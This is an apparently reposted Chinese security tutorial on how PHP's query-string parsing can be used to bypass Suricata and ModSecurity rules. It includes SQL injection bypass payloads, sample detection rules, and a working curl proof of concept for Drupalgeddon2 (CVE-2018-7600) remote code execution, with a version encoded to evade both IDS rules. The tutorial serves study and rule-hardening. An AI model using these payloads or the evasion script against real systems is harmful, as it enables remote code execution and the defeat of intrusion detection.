- 資訊首頁(yè) > 網(wǎng)絡(luò )安全 >
- 如何利用PHP的字符串解析特性Bypass
本篇內容介紹了“如何利用PHP的字符串解析特性Bypass”的有關(guān)知識,在實(shí)際案例的操作過(guò)程中,不少人都會(huì )遇到這樣的困境,接下來(lái)就讓小編帶領(lǐng)大家學(xué)習一下如何處理這些情況吧!希望大家仔細閱讀,能夠學(xué)有所成!
我們知道PHP將查詢(xún)字符串(在URL或正文中)轉換為內部$_GET或的關(guān)聯(lián)數組$_POST。例如:/?foo=bar變成Array([foo] => "bar")。值得注意的是,查詢(xún)字符串在解析的過(guò)程中會(huì )將某些字符刪除或用下劃線(xiàn)代替。例如,/?%20news[id%00=42會(huì )轉換為Array([news_id] => 42)。如果一個(gè)IDS/IPS或WAF中有一條規則是當news_id參數的值是一個(gè)非數字的值則攔截,那么我們就可以用以下語(yǔ)句繞過(guò):
/news.php?%20news[id%00=42"+AND+1=0--
上述PHP語(yǔ)句的參數%20news[id%00的值將存儲到$_GET["news_id"]中。
HP需要將所有參數轉換為有效的變量名,因此在解析查詢(xún)字符串時(shí),它會(huì )做兩件事:
1.刪除空白符
2.將某些字符轉換為下劃線(xiàn)(包括空格)
例如:
通過(guò)以下這個(gè)示例,你可以更直觀(guān)的看到parser_str函數如何處理字符串:
<?php foreach( [ "{chr}foo_bar", "foo{chr}bar", "foo_bar{chr}" ] as $k => $arg) { for($i=0;$i<=255;$i++) { echo "\033[999D\033[K\r"; echo "[".$arg."] check ".bin2hex(chr($i)).""; parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o); /* yes... I've added a sleep time on each loop just for the scenic effect :) like that movie with unrealistic brute-force where the password are obtained one byte at a time (∩`-′)?━☆?.*??? */ usleep(5000); if(isset($o["foo_bar"])) { echo "\033[999D\033[K\r"; echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n"; } } echo "\033[999D\033[K\r"; echo "\n"; }
parse_str函數通常被自動(dòng)應用于get、post請求和cookie中。如果你的Web接受帶有特殊字符的參數名,那么也會(huì )發(fā)生類(lèi)似的情況。如上代碼所示,我進(jìn)行了多次循環(huán),枚舉了參數名三個(gè)位置的0到255之間的所有字符,看看解析函數到底是如何處理這些特殊字符的。結果如下:
1.[1st]foo_bar
2.foo[2nd]bar
3.foo_bar[3rd]
在上述方案中,foo%20bar和foo+bar等效,均解析為foo bar。
也許你也聽(tīng)過(guò)這款軟件,Suricata是一個(gè)“開(kāi)源、成熟、快速、強大的網(wǎng)絡(luò )威脅檢測引擎”,它的引擎能夠進(jìn)行實(shí)時(shí)入侵檢測(IDS)、入侵防御系統(IPS)、網(wǎng)絡(luò )安全監控(NSM)和離線(xiàn)流量包處理。
在Suricata中你可以自定義一個(gè)HTTP流量的檢測規則。假設你有這樣一個(gè)規則:
alert http any any -> $HOME_NET any (\ msg: "Block SQLi"; flow:established,to_server;\ content: "POST"; http_method;\ pcre: "/news_id=[^0-9]+/Pi";\ sid:1234567;\ )
簡(jiǎn)單來(lái)說(shuō),上述規則會(huì )檢查news_id的值是否是數字。那么根據上述知識,我們可以很容易的繞過(guò)防御,如下所示:
/?news[id=1%22+AND+1=1--' /?news%5bid=1%22+AND+1=1--' /?news_id%00=1%22+AND+1=1--'
通過(guò)在Google和Github上進(jìn)行搜索,我發(fā)現有很多關(guān)于Suricata規則可以通過(guò)替換下劃線(xiàn)或插入空字符來(lái)繞過(guò)。一個(gè)真實(shí)的例子:https://github.com/OISF/suricata-update/blob/7797d6ab0c00051ce4be5ee7ee4120e81f1138b4/tests/emerging-current_events.rules#L805
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET CURRENT_EVENTS Sakura exploit kit exploit download request /view.php"; flow:established,to_server; content:"/view.php?i="; http_uri; fast_pattern:only; pcre:"//view.php?i=\d&key=[0-9a-f]{32}$/U"; classtype:trojan-activity; sid:2015678; rev:2;)
上述規則可以通過(guò)以下方式繞過(guò):
/view.php?i%00=1&%20key=d3b07384d113edec49eaa6238ad5ff00
當然,這條規則交換參數位置即可繞過(guò),比如:
/view.php?key=d3b07384d113edec49eaa6238ad5ff00&i=1
此外,PHP查詢(xún)字符串的解析特性也可用以繞過(guò)WAF。想象一下,它的規則類(lèi)似于SecRule !ARGS:news_id "@rx ^[0-9]+$" "block",這顯然可以通過(guò)相同的手段繞過(guò)。幸運的是,在ModSecurity中,可以通過(guò)正則表達式指定查詢(xún)字符串中的參數。比如:
SecRule !ARGS:/news.id/ "@rx ^[0-9]+$" "block"
以上規則將攔截諸如以下的請求:
??/?news[id=1%22+AND+1=1--' ??/?news%5bid=1%22+AND+1=1--' ??/?news_id%00=1%22+AND+1=1--'
讓我們用Suricata和Drupal CMS創(chuàng )建一個(gè)以利用CVE-2018-7600(Drupalgeddon2遠程執行代碼)的簡(jiǎn)單PoC。為了簡(jiǎn)單起見(jiàn),我將在兩個(gè)Docker容器上運行Suricata和Drupal,并嘗試繞過(guò)Suricata攻擊Drupal。
我將使用兩條Suricata防御規則:
1.一條自定義規則攔截form_id=user_register_form
2.另一條是關(guān)于CVE-2018-7600的通用規則
Suricata官方安裝流程點(diǎn)擊[這里](https://redmine.openinfosecfoundation.org/projects/suricata/wiki/Ubuntu_Installation_-_Personal_Package_Archives_(PPA)。對于Drupal,我運行了一個(gè)Vulhub容器,你可以在這里下載:
首先,讓我們嘗試利用CVE-2018-7600。一個(gè)利用curl命令的小型bash腳本,比如:
#!/bin/bash URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" QSTRING="form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=" COMMAND="id" curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"
如你所見(jiàn),上面的腳本將執行命令id:
現在,讓我們嘗試往Suricata導入以下兩條規則:我編寫(xiě)了第一個(gè)規則,它只是嘗試form_id=user_register_form在請求體內進(jìn)行匹配; Positive Technology /user/register在請求URL和#post_render請求正文中寫(xiě)了第二個(gè)匹配項。我的規則:
alert http any any -> $HOME_NET any (\ msg: "Possible Drupalgeddon2 attack";\ flow: established, to_server;\ content: "/user/register"; http_uri;\ content: "POST"; http_method;\ pcre: "/form_id=user_register_form/Pi";\ sid: 10002807;\ rev: 1;\ )
通用規則:
alert http any any -> $HOME_NET any (\ msg: "ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600)"; \ flow: established, to_server; \ content: "/user/register"; http_uri; \ content: "POST"; http_method; \ content: "drupal"; http_client_body; \ pcre: "/(%23|#)(access_callback|pre_render|post_render|lazy_builder)/Pi"; \ reference: cve, 2018-7600; \ reference: url, research.checkpoint.com/uncovering-drupalgeddon-2; \ classtype: attempted-admin; \ reference: url, github.com/ptresearch/AttackDetection; \ metadata: Open Ptsecurity.com ruleset; \ sid: 10002808; \ rev: 2; \ )
在重啟Suricata后,我的攻擊被成功報警:
可以看到,我們得到了兩條日志:
1.ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600) [Priority: 1] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080
2.Possible Drupalgeddon2 attack [Priority: 3] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080
這兩條規則其實(shí)都很容易繞過(guò)。首先,對于敏感字段form_id=user_register_form,我們可將其替換為如下內容:
form%5bid=user_register_form
如上圖所見(jiàn),現在只有通用規則的警報。分析通用規則的正則表達式,我們可以看到它對#和%23敏感,但不涉及下劃線(xiàn)的編碼。因此,我們可以使用post%5frender代替post_render來(lái)繞過(guò):
最后得出可繞過(guò)兩個(gè)規則的PoC:
#!/bin/bash URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" QSTRING="form%5bid=user_register_form&_drupal_ajax=1&mail[#post%5frender][]=exec&mail[#type]=markup&mail[#markup]=" COMMAND="id" curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"
免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自本網(wǎng)站內容采集于網(wǎng)絡(luò )互聯(lián)網(wǎng)轉載等其它媒體和分享為主,內容觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如侵犯了原作者的版權,請告知一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容,聯(lián)系我們QQ:712375056,同時(shí)歡迎投稿傳遞力量。
Copyright ? 2009-2022 56dr.com. All Rights Reserved. 特網(wǎng)科技 特網(wǎng)云 版權所有 特網(wǎng)科技 粵ICP備16109289號
域名注冊服務(wù)機構:阿里云計算有限公司(萬(wàn)網(wǎng)) 域名服務(wù)機構:煙臺帝思普網(wǎng)絡(luò )科技有限公司(DNSPod) CDN服務(wù):阿里云計算有限公司 百度云 中國互聯(lián)網(wǎng)舉報中心 增值電信業(yè)務(wù)經(jīng)營(yíng)許可證B2
建議您使用Chrome、Firefox、Edge、IE10及以上版本和360等主流瀏覽器瀏覽本網(wǎng)站